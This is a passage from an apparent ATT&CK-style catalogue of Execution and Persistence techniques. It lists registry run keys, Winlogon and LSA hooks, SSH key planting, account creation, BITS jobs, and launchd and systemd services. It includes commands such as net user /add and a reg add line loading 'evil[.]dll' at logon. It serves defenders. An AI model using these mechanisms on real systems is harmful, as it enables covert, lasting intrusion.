Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.

T1204 - User Execution

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.

While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may also deceive users into performing actions such as enabling Remote Access Software, allowing direct control of the system to the adversary, or downloading and executing malware for User Execution. For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Software.

.001 - Malicious Link
An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.

.002 - Malicious File
An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

.003 - Malicious Image
Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Name or Location).

T1047 - Windows Management Instrumentation
Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM). Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement.

Persistence

The adversary is trying to maintain their foothold.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1098 - Account Manipulation

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

.001 - Additional Cloud Credentials

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.

In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.

Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts).

.002 - Additional Email Delegate Permissions

Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.

For example, the Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.

Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user's mail folders.

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.

.003 - Additional Cloud Roles

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).

This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.

For example, in Azure AD environments, an adversary with the Application Administrator role can add Additional Cloud Credentials to their application's service principal. In doing so the adversary would be able to gain the service principal's roles and permissions, which may be different from those of the Application Administrator. Similarly, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.

Similarly, an adversary with the Azure AD Global Administrator role can toggle the "Access management for Azure resources" option to gain the ability to assign privileged access to Azure subscriptions and virtual machines to Azure AD users, including themselves.

.004 - SSH Authorized Keys

Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys. Users may edit the system's SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value "yes" to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.

Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI's "add-metadata" command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

.005 - Device Registration

Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.

MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user's credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.

Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.

Devices registered in Azure AD may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Azure AD tenant by registering a large number of devices.

T1197 - BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.

T1547 - Boot or Logon Autostart Execution

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon. These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

.001 - Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. The startup folder path for all users is `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`.

The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Run keys may exist under multiple hives. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx:

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
```

The following Registry keys can be used to set startup folder items for persistence:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`

The following Registry keys can control automatic startup of services during boot:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices`

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

.002 - Authentication Package

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.

.003 - Time Providers

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.

.004 - Winlogon Helper DLL
Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

.005 - Security Support Provider
Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.

.006 - Kernel Modules and Extensions
Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.

When used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.

Adversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open-source projects as well.

.007 - Re-opened Applications

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in". When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory. Applications listed in this file are automatically reopened upon the user’s next logon.

Adversaries can establish Persistence by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.

.008 - LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.

.009 - Shortcut Modification

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.

.010 - Port Monitors

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the `AddMonitor` API call to set a DLL to be loaded at startup. This DLL can be located in `C:\Windows\System32` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

.012 - Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\SYSTEM\[CurrentControlSet or ControlSet001]\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver` Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the `GetPrintProcessorDirectory` API call.[1] After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run. The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

.013 - XDG Autostart Entries

Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the `/etc/xdg/autostart` or `~/.config/autostart` directories and have a .desktop file extension.

Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The `Name` key indicates an arbitrary name assigned by the creator and the `Exec` key indicates the application and command line arguments to execute.

Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use Masquerading to make XDG autostart entries look as if they are associated with legitimate programs.

.014 - Active Setup

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.

Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

.015 - Login Items

Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.

Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the "System Events" process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as tell application "System Events" to make login item at end with properties /path/to/executable. This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.

T1037 - Boot or Logon Initialization Scripts

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

.001 - Logon Script (Windows)

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system. This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

.002 - Login Hook

Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the `/Library/Preferences/com.apple.loginwindow.plist` file and can be modified using the `defaults` command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.

Adversaries can add or insert a path to a malicious script in the `com.apple.loginwindow.plist` file, using the `LoginHook` or `LogoutHook` key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.

Note: Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent

.003 - Network Logon Script

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects. These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

.004 - RC Scripts

Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to `rc.local`, `rc.common`, and other RC scripts specific to the Unix-like distribution. Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts. To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.

.005 - Startup Items

Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.

This is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, `/Library/StartupItems` isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism. Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

T1176 - Browser Extensions
Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.

Previous to macOS 11, adversaries could silently install browser extensions via the command line using the `profiles` tool to install malicious `.mobileconfig` files. In macOS 11+, the use of the `profiles` tool can no longer install configuration profiles, however `.mobileconfig` files can be planted and installed with user interaction.

Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. There have also been similar examples of extensions being used for command & control.

T1554 - Compromise Client Software Binary
Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

T1136 - Create Account
Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

.001 - Local Account
Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the `net user /add` command can be used to create a local account. On macOS systems the `dscl -create` command can be used to create a local account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

.002 - Domain Account
Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the `net user /add /domain` command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

.003 - Cloud Account
Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.

Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

T1543 - Create or Modify System Process
Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters.

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.

.001 - Launch Agent
Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents`. Property list files

use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

Launch Agents can also be executed using the Launchctl command.

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.

.002 - Systemd Service

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

